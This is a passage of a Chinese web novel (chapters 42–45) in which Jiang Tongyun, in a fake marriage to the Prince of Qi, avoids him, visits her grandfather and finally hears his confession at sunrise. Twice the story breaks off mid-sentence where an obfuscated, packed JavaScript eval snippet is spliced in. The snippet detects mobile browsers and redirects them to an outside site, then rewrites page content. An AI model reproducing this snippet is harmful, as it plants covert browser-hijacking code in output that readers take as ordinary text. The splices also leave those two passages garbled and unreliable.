姜同云一路跑到过道,对着一面白墙深深吸了两口气,才缓过劲来。 不行。 说好的假成亲,自己现在这样算什么事?要是一个不小心真的喜欢上谢怀雵了,以后他提和离的事情,自己要怎么办? 但是话说回来,如果不是谢怀雵这个人没有分寸,经常做些越界的事情,还老爱讲些暧昧的话,自己现在也不至于这么动摇。 姜同云拍了拍自己的脸。 冷静冷静。 当初说好的假成亲,现在自己在这儿怪天怪地的也没用。既然谢怀雵没有边界感,那自己注意一点,尽量减少跟他的接触就行。 姜同云拿定主意,呼了口气,好让自己脸上的温度快些降下来。 她还在平复情绪,身后的谢怀雵已经追了过来:“你真的没事吗?” 姜同云转过身,看着他脸上丝毫不作伪的担忧之色,刚刚建立起来的心理防线又开始松动起来。 她终于克制不住,问道:“谢怀雵,你能不能注意一下分寸,别对我这么好?” 她本以为对方听到这话会觉得伤心,却不想面前的男人只是愣了一下,随即露出了高兴又无奈的笑容。 “对你,我只觉得自己还不够好。” 42. 梦境 对你,我只觉得自己还不够好。 意识到谢怀雵说了什么后,姜同云下意识逃了。 好在这一回,他没有再追上来。 姜同云匆匆忙忙地跑回自己院子,蹬掉鞋子往床上一钻,拉下帷幔就想把自己裹进被子里去。 可她刚一看见那两床叠得整整齐齐的被子,就又忍不住想起昨天晚上的事情来。 于是姜同云当即跳下床,趿着鞋子在屋子里转悠起来。 窗上贴着大红的囍字,榻上摆着隔开两人的靠枕,桌子旁甚至还有她昨晚的丢人回忆。 这间房哪哪都不对劲。 怎么一个错眼,她的生活就好像被谢怀雵入侵了一样。 姜同云转了两圈,都没找到一个能让她放空思绪的地方。 最后她只能在梳妆台前坐了下来,托着下巴盯着镜子里的自己看。 谢怀雵那句话,到底是什么意思。 他是因为喜欢才对自己这么细致入微,还是出于报恩的心理才格外关照自己? 姜同云一时觉得谢怀雵可能真的是喜欢自己,一时又觉得自己是在自作多情。 她越想越乱,脑袋里的思绪搅成一团,到最后甚至都理不出一丝头路。 就在此时,木樨回来了。 “姑娘怎么一个人跑回来了?”木樨不知道昨晚具体发生了什么,也不知道姜同云离开后和谢怀雵说了什么,“您和齐王吵架了?” 要真是吵架,可能还好解决一点呢。 姜同云叹了口气,有气无力地说道:“没事,没吵架。” “那是……齐王欺负您了?”木樨回来前遇到过齐王。虽然当时他也说没吵架,但木樨就是觉得两个人之间怪怪的,一直放心不下。 欺负吗?也不能算吧。不过确实是他弄得自己心绪不宁。 想到这里,姜同云又长长地叹了口气:“也没有。我就是累了,所以回来了。” 得到姜同云的回答,木樨才放了心:“没吵架就行。刚刚齐王还要我问您,下午要不要去西边园子里划船呢。要是吵架了,那可就太尴尬了。” 还去划船?姜同云现在根本就不想见谢怀雵! 她连连摇头:“不去不去。” 木樨有些为难:“啊?您直接拒绝齐王啊?” “那就说我身体不适……”顿了顿,想到府里还有两个太医,装病可能一下就会被揭穿,姜同云又改口道,“我下午要看账本,没空出去玩。” 木樨怀疑地扫了姜同云一圈:“姑娘今天怎么怪怪的?先前杭州送来的账本不是都已经对过一遍了吗?” 姜同云恨不得把木樨的嘴堵上:“我想再看一遍不行吗?你别问了,快去给我搬账本!” 她都这么说了,木樨心里虽然还有疑虑,但还是出去回话找东西了。 借着看账本的由头,姜同云不仅推了下午的活动,还装着忙碌的样子,连午饭和晚饭都是让人端回房里吃的。 好在谢怀雵非常识趣,整个下午都没有再来找她。 眼看天色已晚,这一天总算是混过去了。 姜同云洗漱完,披着外衫又坐到了书案前。 账本已经看过一遍了,自然是没什么好看的。好在木樨还算聪明,下午的时候回过味来,意识到自家姑娘是在刻意躲避齐王。眼见姜同云看账本看得昏昏欲睡,她偷渡了一些新买的话本进来,给姜同云解闷用。 有了话本子看,姜同云总算可以不去想那些让她烦恼的事情了。 姜同云下午看了大半本,准备今天把手头这本的尾巴看完再去睡觉。 谁知道才翻了两页,外头的侍女来报,说殿下已经处理完了公务,再有一会就能过来了。 什么?! 他怎么还要来! 姜同云火急火燎地站了起来:“让他别来了!” 立在门外的侍女以为自己听错了:“啊?” 意识到自己措辞不当,姜同云连忙补救道:“我、我困了,现在就要睡了!” 一旁的木樨也反应过来,故意大声问道:“王妃已经看了一下午的账本了,是不是又觉得头昏脑胀了?” 姜同云配合地扶住额头,“哎哟哎哟”地叫了两声,故作虚弱地被木樨搀回了内室。 木樨扶着姜同云在床上躺下,又帮她放下了帷幔,扭头对其他侍女道:“把灯都吹了吧。” 王府侍女虽然觉得摸不着头脑,但还是老老实实地灭掉了屋里的烛火。 见侍女们退出内室,木樨把刚刚趁乱时卷在怀里的话本子塞到姜同云枕头下,悄声道:“姑娘别出声,等会儿我去应付一下齐王。” 姜同云握了握她的手,感动道:“好木樨!下月给你多发一个月的工钱!” 木樨撇了撇嘴:“与其给我发钱,姑娘还不如好好告诉我,今天到底发生了什么事呢!” 姜同云一时语塞。 她自己都没搞清楚的事情,要怎么跟木樨解释? 况且她不是看不出来,她身边的所有人,包括知道实情的木樨在内,对谢怀雵都是相当满意的。 要是木樨知道谢怀雵做过事的、说过的话,保不准立刻就要倒戈,劝说自己假戏真做。 姜同云并不想在感情的事情上被旁人起哄。何况她现在还没有理清自己的思绪,没弄懂谢怀雵对自己,以及自己对谢怀雵的感觉。 至少在清楚自己内心感受以前,她不想被身边人的看法影响到。 而且万一是自己自作多情,误导木樨觉得谢怀雵对自己有意,那等事情说开了,自己多丢人啊。 想到这里,姜同云抿了抿嘴。她刚想找个借口搪塞一下,就隐约听见院门口传来了侍女请安见礼的声音。 于是姜同云扯了扯木樨的衣袖,小声道:“他好像来了!” 虽然没有问出话来,但木樨知道轻重缓急。她斜了故意摆出乖巧表情的姜同云一眼,整了整衣裳,出门去了。 姜同云靠坐在床头,凑到帷幔边上去听。 谢怀雵已经走到了门口,王府侍女正在跟他回报,说王妃已经歇下了。 谢怀雵又问了句什么,恰好木樨推门出去了。 “殿下。”木樨的声音听起来倒是稳得很,一点也没有撒谎的心虚感,“王妃觉得有些头疼,方才已经睡下了。” “头疼?严不严重?可要让太医过来瞧瞧?” “不严重的,只是看账本累到了,睡一觉就好了。” 谢怀雵颇有些意味深长地“哦”了一声:“那你们仔细点伺候着。若是王妃今晚觉得身体不适,要尽快告知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756153|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于我。” 木樨应了一声,随后就行礼送走了谢怀雵。 听到房门重新关上,姜同云松了口气。 不多时,木樨回来了。 “人已经走了。”她撩开帷幔,“姑娘现在可以交代了吧?” 姜同云抓着被角往下一溜,只露出一双滴溜乱转的眼睛来:“嘿嘿。我困了,真要睡了!” 木樨没好气地翻了个白眼:“行行行,不说就不说。” 她没再继续追问,给姜同云掖了掖被角,又把帷幔重新放好,就转身退了出去。 木樨走后,姜同云抱着被角翻了个身,闭上眼睛,尝试入睡。 半个时辰后,她在黑暗中睁开了眼睛。 睡不着,根本就睡不着! 一定是姿势没摆对! 于是姜同云抱着被子又换了一个面。 接下去的半个时辰里,她又尝试了包括平躺趴卧垫高小腿在内的种种姿势,甚至还摆了诸如还阳卧、吉祥卧这类玄学养生助眠姿势。 但是没用就是没用。 姜同云听着窗外树叶被风吹动发出的声音,脑袋里好像也被小猫爪子有一下没一下地挠着。 白天被话本压下去的事情又一一浮现在眼前。 不行不行,我要睡觉了,不能想这些。 姜同云使劲晃了晃脑袋,将这些纷乱的思绪甩出脑海。 睡吧睡吧,什么事都可以明天起来再想。 她在心里反复哄劝着自己,试图通过这种洗脑般的方式让自己睡着。然而哄着哄着,她的耳边就回荡起了谢怀雵昨晚哄她睡觉时的温柔气音。 意识到自己正在想的是什么,姜同云吓得抱着被子坐了起来。 怎么回事啊姜同云!你怎么可以幻想出一个谢怀雵来哄自己睡觉! 一定是这里的床太大、睡着太空,自己不习惯,才老是胡思乱想! 姜同云深深地吐了一口气。 隔门外传来了侍女的询问声:“王妃?您是要起夜吗?” “不,没事。只是做了个噩梦。”顿了顿,姜同云觉得自己有些口渴,又道,“给我拿盏茶来吧。” 很快,一个十六七岁的小侍女就推开了隔门,端着茶盏走了进来。 姜同云接过茶杯,随口问了一句:“木樨呢?” “回王妃。木樨姐姐昨晚守了一夜,今日轮替休息去了。” 想到木樨今日面容确实有些憔悴,姜同云点了点头,饮尽杯中温水:“很晚了,你也赶紧去睡吧。” 小侍女应了一声,拿着空杯盏出去了。 喝过水后,重新躺回床上的姜同云总算是熬出了一点睡意来。 她抱着被角,听着外面窸窸窣窣的响动,迷迷瞪瞪地睡了过去。 然后她就做了一个杂乱无章的梦。 梦里一时是现代,一时是越朝。她拿着手机看白天没看完的话本子,看着看着,谢怀雵突然出现了。 他不仅拿走了姜同云的手机,还把她强行按在床上,要求她立刻睡觉,不能熬夜。 姜同云说自己还睡不着,谢怀雵就坐到床边,像昨晚那样,轻轻拍着她哄她睡觉。 梦里的姜同云闭上了眼睛。 然后谢怀雵就俯下|身来,在她额角轻轻吻了一下。 43. 归宁 姜同云被吓得惊醒过来。 梦里被亲吻的触感仿佛在残留在她的额角,她下意识地摸了摸脑袋,却只摸到了一头的冷汗。 “王妃醒了?”身旁传来了木樨的呼唤声。 姜同云扭头去看,就见木樨正坐在床边,神色焦急地盯着自己看。 “怎么了?”她哑着嗓子问道。 木樨给她使了个眼色,小声又快速地说道:“齐王等您半天了!” 姜同云还沉浸在梦里的冲击中,脑子不甚清醒:“他等我做什么?要是吃早饭就让他自己先吃吧,不用等我!” 木樨听得直想掐自己人中。 她还没来得及提醒姜同云,听到两人对话的谢怀雵已经走了进来:“夫人醒了?” 姜同云还沉浸在刚才那个梦境里,这时猛然听见谢怀雵的声音,被吓得下意识朝内一缩,彻底清醒了过来。 别看她叫侍女传话让谢怀雵别过来的时候一点不虚,真见了谢怀雵,现在的她比谁都怂。 想到自己做的那个奇怪的梦,姜同云心虚地要命:“殿、殿下,你怎么来了?” 谢怀雵注意到了她刚才避退的动作,神色稍黯。但他很快就掩饰了过去:“夫人忘了?今天是你回门的日子啊。” 是哦,回门! 姜同云看了看窗外大亮的天光,心里猛地一沉:“现在是什么时辰了?!” “已经辰时了。”木樨已经对自家姑娘彻底无奈,“您快起吧,老爷子说不定都等急了!” “这么晚了?!”姜同云连忙掀开被子想要起来,转头看见还没离开的谢怀雵,她又猛地把被子盖了回去,“殿下,你能不能……” 谢怀雵知情识趣地退了两步:“我先出去,夫人赶紧穿衣洗漱吧。” 一个时辰后。 急急忙忙收拾完,又火速吃完早饭后,姜同云终于登上了前往乡主府的马车。 “让车夫快些走吧!”一想到自己睡过头耽误了这么久,姜同云就急得上火,恨不得立刻插上翅膀飞过去。 马车晃动,没有坐稳的她差点撞上车壁。 谢怀雵扶了她一把:“时间还有余裕,不着急。” “外祖父还在等着呢。”姜同云直皱眉,“殿下也是,怎么不让人把我叫起来呢?” “听侍女说,你昨夜做了噩梦惊醒过。我过来时看你睡得正熟,想着你昨日看账本看得头疼,难得一场好眠,就不忍心叫你。” 听到“好眠”二字,联想起昨晚做的那个梦,姜同云又忍不住心虚了。 都怪谢怀雵。要不是他不请自来,跑到别人梦里做些莫名其妙的事情,自己怎么可能会睡过头啊! 姜同云正在心里碎碎念,又听谢怀雵道:“你不必忧心。礼物我已提前让人送过去了。还托人转告了外祖父,说我有要紧公务要处理,今日登门会稍晚一些。他不会责怪你的。” 姜同云愣了一瞬:“明、明明是我睡过头了……” 谢怀雵笑了:“等你睡醒怎么不算要紧公务呢?” 听到这话,姜同云觉得自己的脸又要烫起来了。她斜了谢怀雵一眼,小声道:“你也不怕旁人听到了笑话你。” “你不说我不说,旁人怎么会知道呢?”谢怀雵神色坦然,“就是知道了,让他们笑话两句又有何妨?” 姜同云的心脏又开始不听使唤地狂跳。 一个念头浮上心间,并且在越来越响的心跳声中逐渐变得清晰起来。 “很热吗?你都出汗了。”谢怀雵伸手想要替她拨一下耳边垂落的鬓发。 姜同云避了一下。 但这一次,她没再躲开谢怀雵的视线,反而牢牢地盯住了他的脸。 捕捉到谢怀雵眼底不自觉流露出的一丝失望后,姜同云终于有了开口询问的勇气:“谢怀雵,你是不是……” 然而话还没说完,马车就停了下来。 侍卫的声音响起:“殿下,王妃,乡主府已经到了。” 他的声音好像一把锥子,瞬间扎破了车里古怪的氛围。 姜同云好不容易鼓起的勇气也瞬间淌得一干二净。 鼓噪的心跳缓和下来,理智回笼后的姜同云再也没法问出刚刚那个问题。她故作镇定地站起身来:“到了,咱们下车吧。” “你刚才不是有话问我吗?” 姜同云敷衍道:“没。不是什么重要的事。” 谢怀雵还想追问,她就已经率先下了车。 姜同云下了马车,半是遗憾半是轻松地吐了一口气。 不等她细想自己究竟希望得到一个怎么样的回答,得到门房通报的老爷子已经迎出了门。 姜同云暂时放下心事,高高兴兴地小跑了上去:“外祖父!” “哎!”虽然才分开第三天,但老爷子竟觉得自己很久没见到外孙女了,“这两日在王府过得如何?” 姜同云报喜不报忧:“都很好。殿下很关心我,我在王府里过得挺自在的。” 甚至有些自在过了头。她都已经连睡两天懒觉还没被人叫醒了。 要是在家里这样,指定是要被老爷子念一回的。 老爷子握着姜同云的手臂,细细打量了一番外孙女:“嗯,瞧着是挺有精气神的。殿下呢?” 姜同云扭头去看,恰好谢怀雵也下了车。 他整了整衣裳,走到二人面前,对着老爷子恭恭敬敬地行了一个晚辈礼:“外祖父。” “使不得使不得。”老爷子连忙去扶。 谢怀雵却坚持行完了拜见礼:“您如今是我的亲属长辈,没有什么使不得的。” 这话说得老爷子眉开眼笑:“好好好。” 姜同云在一旁看着两人互动,越发觉得谢怀雵这个人真的挺心机的。 看他哄老爷子的这个架势,要说他没有专门琢磨过,姜同云是一点都不信的。 简单寒暄过后,老爷子带着两人进了乡主府。 “殿下今日怎么送了这么多礼物过来?” “里面有一大半都是亲王规制该准备的归宁礼,给您准备的实在不多。我原是想再添一些的,但知道您一向简朴,所以才只准备了这么点。” “已经够多了!光那几本孤本古籍就已是珍贵非常了!”老爷子连忙道,“殿下公务繁忙,还能想着老夫,实在是有心了。” “这都是我作为晚辈该做的。”谢 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今日这席小宴,准备的几乎都是姜同云爱吃的菜色, 老爷子给姜同云舀了一勺虾仁:“我打算明日就动身回杭州去了。” 姜同云刚夹起一粒虾仁,听到这话,又把筷子放了下来:“您怎么突然就要回去了?” “什么叫突然回去。”老爷子屈指轻轻敲了一下姜同云的脑门,“再有几日就是清明了。金陵这头有你在,我不得回去照看一下你外祖母和舅舅那边吗?” “是哦……”姜同云这才记起日子来,“那您还到金陵来吗?” 老爷子笑骂了一句:“你这丫头,多大的人了。都成亲了,怎么还非要搁我这个老头子身边呆着!” “我不管。”姜同云放下碗筷,一把抱住老爷子的胳膊撒娇道,“我就是想在您身边嘛。” 老爷子故意沉吟了好一会,晾得姜同云都着急起来了,他才不紧不慢地说道:“那也得等我把杭州那边的事情都处理完了才能过来吧。” 姜同云连忙道:“一言为定!至少中秋前您得赶回来!您可不能连团圆日都不陪着我吧。” “傻丫头。”老爷子笑了,“你现在是齐王妃了,中秋不得去参加宫宴吗?” 姜同云这才反应过来:“对哦……” 一旁的谢怀雵笑道:“不打紧。除了除夕那日要守岁,其他节日的宫宴散得都挺早的。咱们从宫里出来,再来陪外祖父一起过节。” “好。”老爷子笑着点了点头,“那我一定在中秋前赶回来,到时候在家等你们俩回来!” 姜同云立刻点头:“好!今年您再带我去赢灯!” 老爷子又敲了她一下:“去年不是给你赢了一盏回来了吗?” “那是元宵的,中秋的可没赢回来。” “行行行,今年再去给你拿一盏回来!” 三人其乐融融地吃了一餐饭,又在乡主府里坐到下午日头西渐,姜同云才在老爷子的催促下,不情不愿地启程返回齐王府。 44. 日出 送老爷子回杭州后,很快就迎来了清明。 清明当天,姜同云一早就跟着谢怀雵一起入了宫。 今日宫中也有相应的祭祖活动。陛下遣太子率领一班朝臣往越朝三处帝王陵寝祭祀,自己则在宗庙之内设祭。 谢怀雵和姜同云二人作为齐王和齐王妃,自然也不能缺席。所以今日一早天还没亮,他俩就起了床,收拾齐整后入宫参加陛下领头的祭祀活动。 祭祀结束后,两人又被留在宫里用了一餐午饭,之后才出了宫。 马车上,谢怀雵看着放松下来后一脸疲惫的姜同云,伸手拿了只靠枕给她垫在身后。 “今天起得早,你也没睡够吧。等会儿回府后你先去歇个午觉,等到时辰了我再叫人喊你。” 姜同云支在松软的靠枕上,这才觉得自己稍稍舒服了些:“会不会来不及啊?” 谢怀雵的父母随葬先帝陵寝,今日宫中祭祀时就已经顺带着祭拜过了,陵墓前也会有专门的官员负责祭扫,所以不用再专门去上一趟。 但是他俩下午还得去祭拜姜同云的祖父和父母。 姜同云怕出门晚了,没法赶在城门关闭前回来。 “不用担心。”谢怀雵又取了一只小枕头,递给姜同云,“我在城外有处庄子,已经提前让人收拾过了。要是今日来不及回城,咱们就去庄子里住上一晚。” 知道他都已经安排妥当,姜同云也放下心来,接过枕头塞在自己脖子后:“那成。” 这亲王妃规制的九珠花钗实在是太沉了,压得她脖子生疼。要是再不躺下来歇会儿,只怕她明天起来都转不了脑袋了。 回到王府后,姜同云立刻卸了钗环翟衣,洗净手脸后就躺到床上补觉去了。 到了未初(下午一点左右),睡得迷迷瞪瞪的姜同云才被叫了起来。 看她一直在揉脖子,木樨难免有些担心:“要不要找点膏药贴一贴?” 姜同云皱着眉,连连摆手:“别了别了,一股味道,难闻死了。我就是觉得有点酸,晚上睡一觉起来就好了。” 见她拒绝,木樨就也没有再提。 姜同云重新梳了个简单的发髻,换上一身轻便衣裳,带上提前准备好的诸多祭品,和谢怀雵一道,往城郊去了。 清明来祭扫的人多,马车照旧停在山脚下。姜同云本想自己上去就行,奈何谢怀雵坚持要同行,于是两人就带了木樨和两名侍卫,提着东西上了山。 三处坟茔前都已经摆上了祭品,想来是先前义阳侯已经来过一趟了。 姜同云稍稍挪了挪摆在祖父坟前的几样贡品,空出一些位置来。 “把酒拿过来吧。”姜同云的祖父和父母三人都会饮酒,且各有偏好。每次祭扫,姜同云都会准备他们喜爱的品类用于供奉。 酒水沉重,所以是由侍卫提上来的。眼看一名侍卫已经在自己的提篮里开始翻找,姜同云刚想出声提示,就听谢怀雵道:“先拿那坛千日春来。” 侍卫顺利找到标有“千日春”字样的小酒坛,递给谢怀雵。 谢怀雵接过酒,送至姜同云手上:“对吗?” 姜同云抬头看向他,略有些讶异地点了点头:“对的。” 接下来,谢怀雵又在完全没有提示的情况下,准确地分出了余下几种贡品。 姜同云的心情越发复杂。 她想起来一件事。 但当着木樨和侍卫的面,姜同云什么也没问。她按下思绪,继续按部就班地摆放贡品,进行祭扫。 分别祭拜过三位先人后,天色已经暗了下来。 算算时辰,怕是已经来不及赶回城里。于是一行人下了山,出发往庄子上去。 到达庄子的时候,天色已经彻底黑了。 谢怀雵先派了侍卫骑马过来,庄子上的管事知道他们要来,提前做足了准备。几人下了车,不仅有热水洗漱,还很快吃上了热乎的餐食。 庄子上的饭菜虽然不够精致,但胜在新鲜。姜同云累了一天,原本没什么胃口,这会儿也捧场地吃下了一大碗饭。 吃完饭后,姜同云带着木樨去了收拾出来给她住的院子。 说是院子,其实只是三间屋子并四堵墙围起来的小空间。但凡这头说话的声音大一些,都能被隔壁院子里的人听见。 不过庄子上的人将屋子收拾得非常干净,床上用的寝具也都是好料子。姜同云不是那么挑剔的人,试了试褥子,觉得足够软乎,就躺下准备睡了。 因为是陌生的环境,木樨不放心让姜同云一个人睡,就打算在榻上将就一晚。 姜同云看着那张只铺了一层垫子的硬木榻,无奈地拍了拍床:“你来跟我一起睡吧。” “姑娘不会睡不着吗?” “我哪里就这么娇贵了。”姜同云又拍了两下,“快来吧,我累死了,赶着睡觉呢。” 于是木樨铺开了另一条被子,吹灭灯烛后在床的外侧躺了下来。 因为太过疲倦,今天的姜同云还真没怎么辗转反侧,闭上眼没一会就陷入了沉眠。 一夜无梦。 许是因为头天晚上睡得早,又喝多了水,第二日天还没亮,姜同云就醒了。 见木樨还在熟睡,姜同云不想吵醒她,就轻手轻脚地爬了起来。 解决完个人卫生问题,又就着冷水简单洗过手和脸后,她已经彻底没了睡意。 眼看窗外已经泛起了些许光亮,姜同云干脆穿好衣裳披上外衫,打开门走了出去。 乡间的清晨确实与金陵大不相同。 这个时候的金陵,一般还在沉睡之中。除了守城的士兵、做早晨营生的摊贩和早起上朝的官员,其他人都尚未起床。甚至有些热闹的坊市到这时才结束维持一夜的狂欢,刚刚歇下睡觉。 这里的早晨,没有金陵的庄严与繁华,有的只是清脆的鸟鸣和微凉的空气。 尽管天才刚蒙蒙亮,姜同云已经能够听见外边传来的吆喝声了。 伴随着清晨的鸡鸣和庄户们劳作的声音,姜同云在院子里闲逛了两步。 刚走到墙角,院门就被敲响了。 外头传来了谢怀雵的声音:“睡不着了?” 听见是他,姜同云刚刚提起的心又放了下去。 她干脆过去给谢怀雵开了门:“你怎么知道是我?” 门外的谢怀雵穿着整齐,手臂上还搭着一件披风。 见她开门,谢怀雵笑了:“你的脚步声跟木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784625|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 樨的不太一样。” “你的耳朵可真灵啊。”姜同云不禁感慨了一句。 但想到成婚那晚,谢怀雵能从呼吸声判断自己有没有睡着,姜同云又觉得,他能从脚步声判断出走路的是谁似乎也是很合理的。 谢怀雵将她上下打量了一回:“衣服都穿好了?” “是啊,睡不着嘛。” “那正好。这边有处小山坡可以看日出,马上就要出太阳了,我正打算过去。你要不要一起去?” 姜同云有些犹豫地摸了摸自己的头发。因为刚刚起来,她头上只绾了一个松松的垂髻,簪着枚简单的小珠钗固定:“我头都没梳呢。” “不妨事,我带着你避开人走。” 姜同云犹豫片刻,果断点头:“好!” 横竖在这里也睡不着,不如出去看日出! 怕吵醒木樨,姜同云做贼一样小心合上了院门,对着谢怀雵招了招手:“走走走!” 于是谢怀雵在前带路,两人一路避开庄子里的人,爬上了谢怀雵所说的小山坡。 此时太阳已经略微升起,东面群峦之间已被染成一片明亮的橙色。 谢怀雵找好角度,将手中披风铺在草地上:“坐下来看吧。” 姜同云在披风上坐了下来。 谢怀雵站在她身后,两人一同望向东方。 天空已经亮了起来。 偷跑的日光撒在田间地头,给山坡下的农田和忙碌于劳作的人们铺上了一层明亮灿烂的外衣。 更远处,开得烂漫的桃花遍布山岭,在初亮的晨曦中舒展粉云堆叠的花枝。 在这样的景色中,姜同云心里突然涌上一股一往无前的勇气来。 她没有回头,轻轻唤了一句:“谢怀雵。” “嗯?” “去年三月的时候,你是不是去我祖父和父母坟前祭拜过?” 她原以为那些祭品都是义阳侯府的人摆的。但回想义阳侯准备的贡品,再结合昨天谢怀雵对祖父和父母三人喜好的熟知程度,真正去祭扫的很可能另有其人。 身后的人停顿片刻,方才低低回答:“是。” “去年我回到金陵后,以为你短时间内不会离开杭州。”他低声解释道,“想着三位先人坟前可能缺少照管,同时也是为了答谢你救我的恩情,所以我就过去祭拜了一回。” 为了准备合适的祭品,他当时还特意托人打听了三位生前的喜好,针对性地备了一些东西。 姜同云点了点头。 “那对我呢?” 这句话问得极轻,几乎一出口就散在了骤然吹起的晨风里。纵是以谢怀雵的耳力,也差点没能捕捉到这几个字。 他一时有些怔愣。 姜同云却在此时转过身来。 她仰头看向谢怀雵,一字一句,清晰且坚定地问道:“你对我好,也是为了答谢恩情吗?” 金色的朝阳跃出群山。 游荡的风停歇下来,山间飞翔的鸟雀也都一一落入树林。 明亮温暖的晨光中,谢怀雵的眉目舒展开来。 “自然不是。” “我对你好,是因为我心悦于你。” “仅此而已。” 45. 开花 我对你好,是因为我心悦于你。仅此而已。 停歇的晨风又吹了起来,裹着不知从哪卷来的桃花瓣,轻轻撞在姜同云脸上。 逐渐升高的旭日终于把光芒投到了姜同云的身上。 她在过分耀目的阳光里后知后觉地发现,自己的心跳似乎有些过于嘈杂了。 现在该怎么回答? 只说“谢谢”会不会显得太过冷漠?反问他是不是真的,又有点像在挑刺。可要是直接说“我很开心”,那也太不矜持了。 姜同云的大脑磕磕绊绊地运转着,像是生了锈的发条,不仅拧起来不顺,还会发出“嘎吱嘎吱”的奇怪声响。 她还在心脏和大脑的吵闹二重奏里艰难地翻找合适的答复,谢怀雵却先伸出了手来。 他摘下了附在姜同云鬓发上的一片花瓣。 温暖的指尖轻轻擦过她微凉的脸颊,姜同云的躁动心跳声瞬间停下,不堪重负的脑袋也当即黑了屏。 她猛地转过身去,下意识摸上了刚刚被触碰的地方。 那里已经变得一片滚烫。 她听见谢怀雵很轻很轻地笑了。 沾着露水的草地发出了轻微的声响,身后的人又朝着她走近了一步。 “我藏着这件事好久,一直期待着能向你表明。今日你开口问我,我很是欣喜。” 他的声音由远变近,说话间带起的微小气流若有似无地拂在姜同云的耳畔。 “我能得到一个……让我更加欢喜的答复吗?” 姜同云慌忙去捂自己发痒的耳朵。 完了。她想。 这个人怎么可以这样呢? “你这样太犯规了!”她捂着红透的耳朵,愤愤地说道。 谢怀雵笑了:“我能把这句话当成是你同意的回答吗?” 姜同云扭头想去瞪他:“我什么时候……哎哟!” 他立刻紧张起来:“怎么了?” 姜同云捂住脖子,泪水在眼眶里打转:“好疼。我好像扭到脖子了。” 谢怀雵无奈地笑了:“你啊……” “你还笑我!要不是你——” 话还没说完,谢怀雵就俯身凑近,托着她的腿弯将她抱了起来。 姜同云被这突然的动作下了一跳,下意识地抱住谢怀雵。 谢怀雵微抬胳膊,将她稳稳地抱在怀里:“日出也看了,咱们回去吧。” “你放我下来。”姜同云踢了踢悬空的双脚,“我自己能走。” “脖子不疼了?”谢怀雵垂眼看她,见她眼里还闪着泪花,叹了口气,“还是我带着你快些回去吧。你乖一些,免得再扭到了。” 姜同云有些怀疑地看向他:“你抱得动吗?万一再把我给摔了。还有,你的披风怎么办?” 谢怀雵都快被气乐了。 为了证明自己,他单手托住姜同云,腾出一只手来,快速地弯腰捡起了铺在草地上的披风,搭在手臂上。 谢怀雵掂了掂抱着姜同云的那只胳膊:“夫人还有问题吗?” 姜同云被小小地抛了一下,吓得赶紧抱住谢怀雵的脖子稳住自己。感觉自己的动作有点丢人,她又嘴硬道:“被人看见了怎么办?” 谢怀雵已经抱着她朝山坡下走了:“看见就看见,我们都成亲了。他们要是嫉妒,就自己去找个媳妇。” 姜同云被他这番故意曲解的回答噎了一下。 她伸手戳了戳谢怀雵的肩膀:“谢怀雵,当时我要找人假成亲,你那么积极地自荐,是不是蓄谋已久?” 谢怀雵故作夸张地长叹一声:“夫人现在才反应过来?我以为自己表现得够直接了呢。” 姜同云忍不住锤了他一下:“卑鄙!” “卑鄙我认。再来一次我也会这么选。”谢怀雵看向被自己抱在怀里的姜同云,眼里的缱绻笑意几乎都要溢出来了,“但我当时的承诺永远有效。如果你不想再做我的妻子,随时都可以将那封陈情书呈送陛下。” 他看着姜同云的眼睛,轻声问道:“你要离开我吗?” 姜同云被他深邃的眼眸看得双颊一热。 她把脸埋到谢怀雵的肩膀,闷闷地说道:“……看你表现吧。” “那我一定,好好表现。” 谢怀雵抱着姜同云,一路走回庄子里。 庄上的人全都已经起了。 看见齐王抱着王妃回来,众人也都很有眼色,远远地就避了开来,没有往前凑。这倒也保全了姜同云的颜面,没让她直接面对别人打趣看热闹的眼神。 谢怀雵抱着她直接去了暂住的院子里。 木樨也已经起了,正在院子里等姜同云回来。 天知道她醒来时发现自家姑娘消失不见,被吓得有多着急。 因为不知道姜同云去了哪里,怕自家姑娘是偷摸跑了,木樨也不敢喊人一起帮忙。自己四下找了一圈后,还是路过的齐王侍卫叫住了没头苍蝇一样的她。 得知齐王一早就带着姜同云出门看日出后,木樨气得狠狠跺了两下脚,发誓等姜同云回来一定要好好数落她一顿。 谁知道人是回来了,但却是被齐王抱回来的。 看着把脸埋在齐王颈项之间的姜同云,木樨的脑子都快转不动了。 这两个人……出去看了一趟日出就好上了? 虽然木樨是挺满意齐王的,但姑娘不是信誓旦旦说他俩是假成亲的吗? 莫非这是在演戏?可就算是演戏那也太认真了吧,现在他俩演戏都要演这么全套了吗?而且自家姑娘的演技哪里有这么好了?她分明就是真的在害羞啊! 木樨心里有如万马奔腾,一时极速前进,尘土飞扬;一时又扬蹄嘶鸣,喧腾嘈杂。 那头的谢怀雵已经把姜同云放在了软榻上:“王妃扭到脖子了。木樨,你去找管事问问,找点药酒和膏药来。” 木樨回过神来:“啊?哦,我这就去!” 看木樨离去,姜同云才瞪了谢怀雵一眼:“都怪你,现在大家都误会了。” “误会?误会什么。”谢怀雵在她身侧坐下,让她半靠在自己身上,撩起她的头发,稍稍拨开衣领,“别乱动,我给你看看。” “还能误会什么。”姜同云不好意思直说,只能含含糊糊地应了一句。 